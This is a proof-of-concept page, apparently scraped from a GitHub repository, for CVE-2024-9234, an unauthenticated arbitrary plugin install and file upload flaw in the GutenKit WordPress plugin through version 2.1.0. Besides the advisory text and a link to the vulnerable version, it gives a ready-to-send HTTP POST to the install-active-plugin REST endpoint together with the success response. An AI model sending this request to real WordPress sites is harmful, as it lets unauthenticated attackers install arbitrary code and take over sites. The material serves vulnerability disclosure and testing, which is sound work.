CVE-2024-9234 PoC — GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload

Source

https://github.com/RandomRobbieBF/CVE-2024-9234

Associated Vulnerability

Title:GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload (CVE-2024-9234)
Description:The GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

Description

GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-9234
GutenKit &lt;= 2.1.0 - Unauthenticated Arbitrary File Upload

# Description
The GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

```
Type: plugin
CVSS Score: 9.8
CVE: CVE-2024-9234
Slug: gutenkit-blocks-addon
```

Download Link: [Download gutenkit-blocks-addon Version 2.1.0](https://downloads.wordpress.org/plugin/gutenkit-blocks-addon.2.1.0.zip)

POC
--

```
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114

{
  "plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
  "slug": "popularis-extra"
}
```

```
{"success":true,"data":"Plugin installed successfully!"}
```

File Snapshot


 [4.0K]  /data/pocs/369c2d96ea1817ced42f79deff073bfc0b7d7388
└── [1.1K]  README.md

0 directories, 1 file

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